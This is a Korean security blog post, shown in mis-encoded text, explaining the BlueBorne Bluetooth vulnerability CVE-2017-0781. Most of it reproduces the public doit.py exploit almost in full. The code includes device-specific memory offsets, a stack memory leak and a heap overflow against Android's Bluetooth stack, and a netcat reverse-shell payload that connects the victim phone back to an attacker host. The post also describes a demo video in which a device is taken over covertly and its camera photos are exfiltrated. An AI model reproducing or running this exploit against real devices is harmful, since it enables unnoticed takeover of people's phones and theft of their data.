๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ

๋ธ”๋ฃจํˆฌ์Šค

[๋ธ”๋ฃจํˆฌ์Šค ์ทจ์•ฝ์ ]BlueBorne ์ทจ์•ฝ์ ๊ณผ ๊ณต๊ฒฉ์‹ค์Šต

๐ŸŒŸBlueBorne ์ทจ์•ฝ์ 

- BlueBorne ์ทจ์•ฝ์ ์€ 2017์— ๋ฐœ๊ฒฌ๋œ ๋ธ”๋ฃจํˆฌ์Šค์˜ ๋Œ€ํ‘œ์ ์ธ ์ทจ์•ฝ์  ์ค‘ ํ•˜๋‚˜๋กœ, ๋‹ค์ˆ˜์˜ CVE๊ฐ€ BlueBorne ์ทจ์•ฝ์ ์— ํ•ด๋‹นํ•œ๋‹ค.

- ๋ธ”๋ฃจํˆฌ์Šค๊ฐ€ ํ™œ์„ฑํ™” ๋˜์–ด์žˆ๋Š” ์žฅ์น˜์— ๊ณต๊ฒฉ์ž๊ฐ€ ํŽ˜์–ด๋งํ•˜์ง€ ์•Š์•„๋„ ์žฅ์น˜๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋Š” ๊ณต๊ฒฉ ํ˜•ํƒœ์ด๋‹ค.

- (1)ํ”ผํ•ด์ž ๊ธฐ๊ธฐ์˜ ๋ธ”๋ฃจํˆฌ์Šค๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด์žˆ๊ณ , (2)๊ฐ€๊นŒ์šด ์œ„์น˜์— ์žˆ๊ธฐ๋งŒ ํ•˜๋ฉด ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

- ๋ฐœ๊ฒฌ ๋‹น์‹œ ์•ˆ๋“œ๋กœ์ด๋“œ, iOS, ์œˆ๋„์šฐ, ๋ฆฌ๋ˆ…์Šค, ์‚ฌ๋ฌผ์ธํ„ฐ๋„ท ๊ธฐ๊ธฐ ๋“ฑ ์•ฝ 53์–ต๋Œ€ ์ด์ƒ์˜ ๊ธฐ๊ธฐ์— ์˜ํ–ฅ์„ ๋ฏธ์น  ์ˆ˜ ์žˆ์Œ์ด ํ™•์ธ๋˜์—ˆ๋‹ค.

 

 

๐ŸŒŸBlueBorne ๊ณต๊ฒฉ์‹ค์Šต

BlueBorne ์ทจ์•ฝ์ ์„ ๊ณต๊ฒฉํ•ด๋ณผ ์ˆ˜ ์žˆ๋Š” ์ฝ”๋“œ๋ฅผ ์ œ๊ณตํ•˜๋Š” ๊นƒํ—ˆ๋ธŒ ์˜คํ”ˆ์†Œ์Šค๋ฅผ ์ฐพ์•˜๋‹ค.

https://github.com/mailinneberg/BlueBorne.git

 

GitHub - mailinneberg/BlueBorne: Purpose only! The dangers of Bluetooth implementations: Unveiling zero day vulner

Purpose only! The dangers of Bluetooth implementations: Unveiling zero day vulnerabilities and security flaws in modern Bluetooth stacks. - mailinneberg/BlueBorne

github.com

 

 

์•„๋ž˜๋Š” ์ œ๊ณต๋œ ๊ณต๊ฒฉ ์ฝ”๋“œ ์ค‘ CVE-2017-0781 ์ทจ์•ฝ์ ์„ ๊ณต๋žตํ•œ doit.py๋ฅผ ์‹คํ–‰ํ•˜๋Š” ์‹œ์—ฐ์˜์ƒ์ด๋‹ค.

ํ”ผํ•ด์ž๊ฐ€ ์•Œ์•„์ฑ„์ง€ ๋ชปํ•˜๊ฒŒ ๊ธฐ๊ธฐ์— ์—ฐ๊ฒฐํ•˜์—ฌ ์‰˜์„ ๋”ฐ๊ณ , ๊ธฐ๊ธฐ๋ฅผ ๊นจ์šฐ๊ณ  ์นด๋ฉ”๋ผ๋ฅผ ์‹คํ–‰์‹œํ‚ค๊ณ  ์‚ฌ์ง„ ํŒŒ์ผ์„ ์ „์†ก๋ฐ›๊ธฐ๊นŒ์ง€ ํ•˜๋Š” ๋ชจ์Šต์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

 

 

 

doit.py ์ฝ”๋“œ์— ๋Œ€ํ•ด ์‚ดํŽด๋ณด๊ธฐ ์ „์— CVE-2017-0781 ์ทจ์•ฝ์ ์— ๋Œ€ํ•ด ์•Œ์•„๋ณด์ž.

 

ํ•ด๋‹น ์ทจ์•ฝ์ ์— ๋Œ€ํ•œ Desciption์€ ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

A remote code execution vulnerability in the Android system (bluetooth). Product: Android. Versions: 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2, 8.0. Android ID: A-63146105.

์•ˆ๋“œ๋กœ์ด๋“œ ์‹œ์Šคํ…œ์—์„œ ๋ฐœ์ƒํ•œ ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰ ์ทจ์•ฝ์ ์ด๋ผ๊ณ  ์ดํ•ดํ•˜๋ฉด ๋  ๊ฒƒ ๊ฐ™๋‹ค.

 

๊ด€๋ จ CWE๋Š” ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

  • ID: CWE-119
  • ์ด๋ฆ„: Improper Restriction of Operations within the Bounds of a Memory Buffer(๋ฉ”๋ชจ๋ฆฌ ๋ฒ„ํผ ๋‚ด๋ถ€์—์„œ์˜ ๋ถ€์ ์ ˆํ•œ ์ž‘์—… ์ œํ•œ)
  • ์„ค๋ช…: ๋ฉ”๋ชจ๋ฆฌ ๋ฒ„ํผ์—์„œ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜์ง€๋งŒ, ๋ฒ„ํผ์˜ ์˜๋„๋œ ๊ฒฝ๊ณ„๋ฅผ ๋ฒ—์–ด๋‚œ ๋ฉ”๋ชจ๋ฆฌ ์œ„์น˜์—์„œ ์ฝ๊ฑฐ๋‚˜ ์“ธ ์ˆ˜ ์žˆ๋‹ค.
  • ์ƒ์„ธ์„ค๋ช…: ์–ด๋–ค ์–ธ์–ด๋Š” ๋ฉ”๋ชจ๋ฆฌ ์œ„์น˜์˜ ์ง์ ‘์ ์ธ ์ฃผ์†Œ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ๊ฒƒ์„ ํ—ˆ๋ฝํ•˜๊ณ  ์ด ์œ„์น˜๋“ค์ด ์ฐธ์กฐํ•˜๋Š” ๋ฉ”๋ชจ๋ฆฌ ๋ฒ„ํผ๊ฐ€ ์œ ํšจํ•œ๊ฐ€๋ฅผ ์ž๋™์œผ๋กœ ๋ณด์žฅํ•˜์ง€ ์•Š๋Š”๋‹ค. ์ด๋Ÿฌํ•œ ํŠน์„ฑ์œผ๋กœ ์ธํ•ด ๋‹ค๋ฅธ ๋ณ€์ˆ˜๋‚˜ ์ž๋ฃŒ๊ตฌ์กฐ, ๋˜๋Š” ๋‚ด๋ถ€ ํ”„๋กœ๊ทธ๋žจ ๋ฐ์ดํ„ฐ์™€ ๊ด€๋ จ๋œ ์–ด๋–ค ๋ฉ”๋ชจ๋ฆฌ ์œ„์น˜์—์„œ์˜ ์ฝ๊ธฐ ๋ฐ ์“ฐ๊ธฐ ์ž‘์—…์ด ์ด๋ฃจ์–ด์งˆ ์ˆ˜ ์žˆ๋‹ค. ๊ฒฐ๊ณผ์ ์œผ๋กœ, ๊ณต๊ฒฉ์ž๊ฐ€ ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ฑฐ๋‚˜, ์˜๋„๋œ ์ œ์–ดํ๋ฆ„์„ ๋ฐ”๊พธ๊ฑฐ๋‚˜, ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ์ฝ๊ฑฐ๋‚˜ ํ˜น์€ ์‹œ์Šคํ…œ ์ถฉ๋Œ์„ ์ผ์œผํ‚ฌ ์ˆ˜ ์žˆ๊ฒŒ ๋œ๋‹ค.
  • ์ด๊ฐ™์€ CWE๋ฅผ ๋ถ€๋ฅด๋Š” ๋‹ค๋ฅธ ์šฉ์–ด: Buffer Overflow, buffer overrun, memory safety

์ฐธ๊ณ  ์‚ฌ์ดํŠธ: https://nvd.nist.gov/vuln/detail/CVE-2017-0781

 

 

CVE์— ๋Œ€ํ•ด ๊ฐ„๋žตํ•˜๊ฒŒ ์•Œ์•„๋ณด์•˜๋‹ค.

์ด์ œ ์ด ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜์—ฌ ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๋Š” ์ฝ”๋“œ์ธ doit.py๋ฅผ ๋ถ„์„ํ•ด๋ณด์ž.

 

๋จผ์ € ํ•„์š”ํ•œ ๋ชจ๋“ˆ์„ importํ•˜๋Š” ๋ถ€๋ถ„์ด๋‹ค.

import os
import sys
import time
import struct
import select
import binascii

import bluetooth
from bluetooth import _bluetooth as bt

import bluedroid
import connectback

from pwn import log

์—ฌ๊ธฐ์—์„œ ์“ฐ์ด๋Š” ๋ชจ๋“ˆ์„ ์‚ฌ์šฉํ•˜๊ธฐ ์œ„ํ•ด ๊ธฐ๋ณธ์ ์œผ๋กœ pybluez์™€ pwntools๋ฅผ ์„ค์น˜ํ•ด์•ผ ํ•œ๋‹ค.

 

๋‹ค์Œ์€ ์ƒ์ˆ˜ ๋ฐ ์„ค์ •๊ฐ’์„ ์ •์˜ํ•˜๋Š” ๋ถ€๋ถ„์ด๋‹ค.

# Listening TCP ports that need to be opened on the attacker machine
NC_PORT = 1233
STDOUT_PORT = 1234
STDIN_PORT = 1235


# Exploit offsets work for these (exact) libs:

# bullhead:/ # sha1sum /system/lib/hw/bluetooth.default.so
# 8a89cadfe96c0f79cdceee26c29aaf23e3d07a26  /system/lib/hw/bluetooth.default.so
# bullhead:/ # sha1sum /system/lib/libc.so
# 0b5396cd15a60b4076dacced9df773f75482f537  /system/lib/libc.so

# For Pixel 7.1.2 patch level Aug/July 2017
LIBC_TEXT_STSTEM_OFFSET = 0x45f80 + 1 - 56 # system + 1
LIBC_SOME_BLX_OFFSET = 0x1a420 + 1 - 608 # eventfd_write + 28 + 1

# For Nexus 5X 7.1.2 patch level Aug/July 2017
#LIBC_TEXT_STSTEM_OFFSET = 0x45f80 + 1
#LIBC_SOME_BLX_OFFSET = 0x1a420 + 1

# Aligned to 4 inside the name on the bss (same for both supported phones)
BSS_ACL_REMOTE_NAME_OFFSET = 0x202ee4
BLUETOOTH_BSS_SOME_VAR_OFFSET = 0x14b244

MAX_BT_NAME = 0xf5

# Payload details (attacker IP should be accessible over the internet for the victim phone)
SHELL_SCRIPT = b'toybox nc {ip} {port} | sh'


PWNING_TIMEOUT = 3
BNEP_PSM = 15
PWN_ATTEMPTS = 10
LEAK_ATTEMPTS = 5

ํฌํŠธ๋ฒˆํ˜ธ, ์‚ฌ์šฉํ•˜๋Š” ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์˜ ์˜คํ”„์…‹ ์ฃผ์†Œ, ํŽ˜์ด๋กœ๋“œ ๋“ฑ์„ ์ •์˜ํ•˜๊ณ  ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

ํŠนํžˆ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ •์˜ํ•œ SHELL_SCRIPT ๋ณ€์ˆ˜๋Š” nc(netcat)๋ฅผ ์ด์šฉํ•ด ์ง€์ •๋œ IP์ฃผ์†Œ์™€ ํฌํŠธ์— TCP ์—ฐ๊ฒฐ์„ ์ˆ˜ํ–‰ํ•œ ํ›„ sh ๋ช…๋ น์–ด๋ฅผ ์ˆ˜ํ–‰ํ•˜์—ฌ ์‰˜์„ ๋”ฐ๋Š” ๋ช…๋ น์–ด๋ฅผ ์ €์žฅํ•˜๊ณ  ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

main ํ•จ์ˆ˜๋ฅผ ์ œ์™ธํ•˜๋ฉด ๋ฏธ๋ฆฌ ์ •์˜๋œ ํ•จ์ˆ˜๋Š” ์ด 4๊ฐœ์ด๋‹ค.

  1. set_bt_name(payload, src_hci, src, dst)
  2. set_rand_bdaddr(src_hci)
  3. memory_leak_get_bases(src, src_hci, dst)
  4. pwn(src_hci, dst, bluetooth_default_bss_base, system_addr, acl_name_addr, my_ip, libc_text_base)

๊ฐ๊ฐ์˜ ํ•จ์ˆ˜์— ๋Œ€ํ•ด ์•Œ์•„๋ณด์ž.

1. set_bt_name(payload, src_hci, src, dst)

  • ๊ธฐ๋Šฅ: ์ฃผ์–ด์ง„ payload๋ฅผ ์ด์šฉํ•˜์—ฌ Bluetooth ์ด๋ฆ„์„ ์„ค์ •ํ•œ๋‹ค.
  • ์ฝ”๋“œ๋Š” ์•„๋ž˜์™€ ๊ฐ™๋‹ค.
def set_bt_name(payload, src_hci, src, dst):
    # Create raw HCI sock to set our BT name
    raw_sock = bt.hci_open_dev(bt.hci_devid(src_hci))
    flt = bt.hci_filter_new()
    bt.hci_filter_all_ptypes(flt)
    bt.hci_filter_all_events(flt)
    raw_sock.setsockopt(bt.SOL_HCI, bt.HCI_FILTER, flt)

    # Send raw HCI command to our controller to change the BT name (first 3 bytes are padding for alignment)
    raw_sock.sendall(binascii.unhexlify('01130cf8cccccc') + payload.ljust(MAX_BT_NAME, b'\x00'))
    raw_sock.close()
    #time.sleep(1)
    time.sleep(0.1)

    # Connect to BNEP to "refresh" the name (does auth)
    bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
    bnep.bind((src, 0))
    bnep.connect((dst, BNEP_PSM))
    bnep.close()

    # Close ACL connection
    os.system('hcitool dc %s' % (dst,))
    #time.sleep(1)

 

 

2. set_rand_bdaddr(src_hci)

  • ๊ธฐ๋Šฅ: Bluetooth ์žฅ์น˜์˜ ๋žœ๋ค MAC ์ฃผ์†Œ๋ฅผ ์„ค์ •ํ•œ๋‹ค.
  • ์ฝ”๋“œ๋Š” ์•„๋ž˜์™€ ๊ฐ™๋‹ค.
def set_rand_bdaddr(src_hci):
    addr = ['%02x' % (ord(c),) for c in os.urandom(6)]
    # NOTW: works only with CSR bluetooth adapters!
    os.system('sudo bccmd -d %s psset -r bdaddr 0x%s 0x00 0x%s 0x%s 0x%s 0x00 0x%s 0x%s' %
              (src_hci, addr[3], addr[5], addr[4], addr[2], addr[1], addr[0]))
    final_addr = ':'.join(addr)
    log.info('Set %s to new rand BDADDR %s' % (src_hci, final_addr))
    #time.sleep(1)
    while bt.hci_devid(final_addr) < 0:
        time.sleep(0.1)
    return final_addr

 

 

3. memory_leak_get_bases(src, src_hci, dst)

  • ๊ธฐ๋Šฅ: ๋ฉ”๋ชจ๋ฆฌ ๋ˆ„์ˆ˜๋ฅผ ํ†ตํ•ด ์ฃผ์–ด์ง„ Bluetooth ์žฅ์น˜์˜ ๋ฉ”๋ชจ๋ฆฌ ๋ฒ ์ด์Šค๋ฅผ ์–ป๋Š”๋‹ค.
  • ์ฝ”๋“œ๋Š” ์•„๋ž˜์™€ ๊ฐ™๋‹ค.
def memory_leak_get_bases(src, src_hci, dst):
    prog = log.progress('Doing stack memory leak...')

    # Get leaked stack data. This memory leak gets "deterministic" "garbage" from the stack.
    result = bluedroid.do_sdp_info_leak(dst, src)

    # Calculate according to known libc.so and bluetooth.default.so binaries
    likely_some_libc_blx_offset = result[-3][-2]
    likely_some_bluetooth_default_global_var_offset = result[6][0]

    libc_text_base = likely_some_libc_blx_offset - LIBC_SOME_BLX_OFFSET
    bluetooth_default_bss_base = likely_some_bluetooth_default_global_var_offset - BLUETOOTH_BSS_SOME_VAR_OFFSET

    log.info('libc_base: 0x%08x, bss_base: 0x%08x' % (libc_text_base, bluetooth_default_bss_base))

    # Close SDP ACL connection
    os.system('hcitool dc %s' % (dst,))
    time.sleep(0.1)

    prog.success()
    return libc_text_base, bluetooth_default_bss_base

BlueBorne ์ทจ์•ฝ์  ๊ณต๋žต์—์„œ์˜ ํ•ต์‹ฌ ํ•จ์ˆ˜๋กœ ๋ณผ ์ˆ˜ ์žˆ์„ ๊ฒƒ ๊ฐ™๋‹ค. blueroid์˜ do_sdp_info_leak() ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•ด์„œ ๋ฉ”๋ชจ๋ฆฌ ๋ˆ„์ˆ˜๋ฅผ ์ผ์œผํ‚ค๊ณ , ๋ฉ”๋ชจ๋ฆฌ ๋ˆ„์ˆ˜๋กœ ๊ฐ€์ ธ์˜จ ๋ฉ”๋ชจ๋ฆฌ ์˜คํ”„์…‹์„ ์ด์šฉํ•ด ๋ฉ”๋ชจ๋ฆฌ ๋ฒ ์ด์Šค๋ฅผ ๊ณ„์‚ฐํ•ด์„œ ์–ป์–ด๋‚ธ๋‹ค.

 

 

4. pwn(src_hci, dst, bluetooth_default_bss_base, system_addr, acl_name_addr, my_ip, libc_text_base)

  • ๊ธฐ๋Šฅ: Bluetooth ๊ธฐ๊ธฐ๋ฅผ ๊ณต๊ฒฉํ•˜์—ฌ ์‰˜์„ ์‹คํ–‰ํ•œ๋‹ค.
  • ์ฝ”๋“œ๋Š” ์•„๋ž˜๊ณผ ๊ฐ™๋‹ค.
def pwn(src_hci, dst, bluetooth_default_bss_base, system_addr, acl_name_addr, my_ip, libc_text_base):
    # Gen new BDADDR, so that the new BT name will be cached
    src = set_rand_bdaddr(src_hci)

    # Payload is: '"\x17AAAAAAsysm";\n<bash_commands>\n#'
    # 'sysm' is the address of system() from libc. The *whole* payload is a shell script.
    # 0x1700 == (0x1722 & 0xff00) is the "event" of a "HORRIBLE_HACK" message.
    payload = struct.pack('<III', 0xAAAA1722, 0x41414141, system_addr) + b'";\n' + \
                          SHELL_SCRIPT.format(ip=my_ip, port=NC_PORT) + b'\n#'

    assert len(payload) < MAX_BT_NAME
    assert b'\x00' not in payload

    # Puts payload into a known bss location (once we create a BNEP connection).
    set_bt_name(payload, src_hci, src, dst)

    prog = log.progress('Connecting to BNEP again')

    bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
    bnep.bind((src, 0))
    bnep.connect((dst, BNEP_PSM))

    prog.success()
    prog = log.progress('Pwning...')

    # Each of these messages causes BNEP code to send 100 "command not understood" responses.
    # This causes list_node_t allocations on the heap (one per reponse) as items in the xmit_hold_q.
    # These items are popped asynchronously to the arrival of our incoming messages (into hci_msg_q).
    # Thus "holes" are created on the heap, allowing us to overflow a yet unhandled list_node of hci_msg_q.
    for i in range(20):
        bnep.send(binascii.unhexlify('8109' + '800109' * 100))

    # Repeatedly trigger the vuln (overflow of 8 bytes) after an 8 byte size heap buffer.
    # This is highly likely to fully overflow over instances of "list_node_t" which is exactly
    # 8 bytes long (and is *constantly* used/allocated/freed on the heap).
    # Eventually one overflow causes a call to happen to "btu_hci_msg_process" with "p_msg"
    # under our control. ("btu_hci_msg_process" is called *constantly* with messages out of a list)
    for i in range(1000):
        # If we're blocking here, the daemon has crashed
        _, writeable, _ = select.select([], [bnep], [], PWNING_TIMEOUT)
        if not writeable:
            break
        bnep.send(binascii.unhexlify('810100') +
                  struct.pack('<II', 0, acl_name_addr))
    else:
        log.info("Looks like it didn't crash. Possibly worked")

    prog.success()

์•„๋ž˜์ชฝ for loop์„ ๋ณด๋ฉด ํŠน์ • ์กฐ๊ฑด์ด ์ถฉ์กฑ๋  ๋•Œ๊นŒ์ง€ ๋ฉ”๋ชจ๋ฆฌ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ์ผ์œผํ‚ค๋Š” ์ž‘์—…์„ ๋ฐ˜๋ณตํ•˜๋‹ค๊ฐ€ ์กฐ๊ฑด์„ ์ถฉ์กฑ์‹œํ‚ค๋ฉด bnep.send()๋ฅผ ์ด์šฉํ•ด ์ทจ์•ฝ์ ์„ ๊ณต๋žตํ•˜๋Š” ๋ฉ”์‹œ์ง€๋ฅผ ํ”ผํ•ด์ž ๊ธฐ๊ธฐ์— ์ „์†กํ•œ๋‹ค.

๊ณต๊ฒฉ์— ์„ฑ๊ณตํ•˜๋ฉด ์‰˜์„ ๋”ฐ๋‚ด๊ฒŒ ๋œ๋‹ค.

 

 

 

์œ„์™€ ๊ฐ™์€ ํ•จ์ˆ˜๋“ค์„ ์ด์šฉํ•ด์„œ ์ „์ฒด ๊ณต๊ฒฉ ํ๋ฆ„์€ ์•„๋ž˜์™€ ๊ฐ™์ด ์ด๋ฃจ์–ด์ง„๋‹ค.

def main(src_hci, dst, my_ip):
    os.system('hciconfig %s sspmode 0' % (src_hci,))
    os.system('hcitool dc %s' % (dst,))

    sh_s, stdin, stdout = connectback.create_sockets(NC_PORT, STDIN_PORT, STDOUT_PORT)

    for i in range(PWN_ATTEMPTS):
        log.info('Pwn attempt %d:' % (i,))

        # Create a new BDADDR
        src = set_rand_bdaddr(src_hci)

        # Try to leak section bases
        for j in range(LEAK_ATTEMPTS):
            libc_text_base, bluetooth_default_bss_base = memory_leak_get_bases(src, src_hci, dst)
            if (libc_text_base & 0xfff == 0) and (bluetooth_default_bss_base & 0xfff == 0):
                break
        else:
           assert False, "Memory doesn't seem to have leaked as expected. Wrong .so versions?"

        system_addr = LIBC_TEXT_STSTEM_OFFSET + libc_text_base
        acl_name_addr = BSS_ACL_REMOTE_NAME_OFFSET + bluetooth_default_bss_base
        assert acl_name_addr % 4 == 0
        log.info('system: 0x%08x, acl_name: 0x%08x' % (system_addr, acl_name_addr))

        pwn(src_hci, dst, bluetooth_default_bss_base, system_addr, acl_name_addr, my_ip, libc_text_base)
        # Check if we got a connectback
        readable, _, _ = select.select([sh_s], [], [], PWNING_TIMEOUT)
        if readable:
            log.info('Done')
            break

    else:
        assert False, "Pwning failed all attempts"

    connectback.interactive_shell(sh_s, stdin, stdout, my_ip, STDIN_PORT, STDOUT_PORT)

 

 

 

์—ฌ๊ธฐ๊นŒ์ง€

BlueBorne ์ทจ์•ฝ์ ์— ๋Œ€ํ•ด ์•Œ์•„๋ณด๊ณ ,

BlueBorne ์ทจ์•ฝ์ ์— ํ•ด๋‹นํ•˜๋Š” CVE ์ค‘ ํ•˜๋‚˜์ธ CVE-2017-0781์— ๋Œ€ํ•ด ์•Œ์•„๋ณด๊ณ 

ํ•ด๋‹น CVE๋ฅผ ๊ณต๋žตํ•˜์—ฌ ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๋Š” ์ฝ”๋“œ์— ๋Œ€ํ•ด ์‚ดํŽด๋ณด์•˜๋‹ค.

 

์•„์ง ์ฝ”๋“œ๋ฅผ ๊นŠ์ด ๋ถ„์„ํ•˜๊ธฐ์—๋Š” ์‹ค๋ ฅ์ด ๋ชจ์ž๋ผ์ง€๋งŒ ์ถ”ํ›„์— ์ถฉ๋ถ„ํ•œ ์‹œ๊ฐ„์„ ๊ฐ–๊ณ  ๋” ์ž์„ธํžˆ ์ฝ”๋“œ๋ฅผ ๋ถ„์„ํ•ด๋ณด๊ณ  ์‹ถ๋‹ค.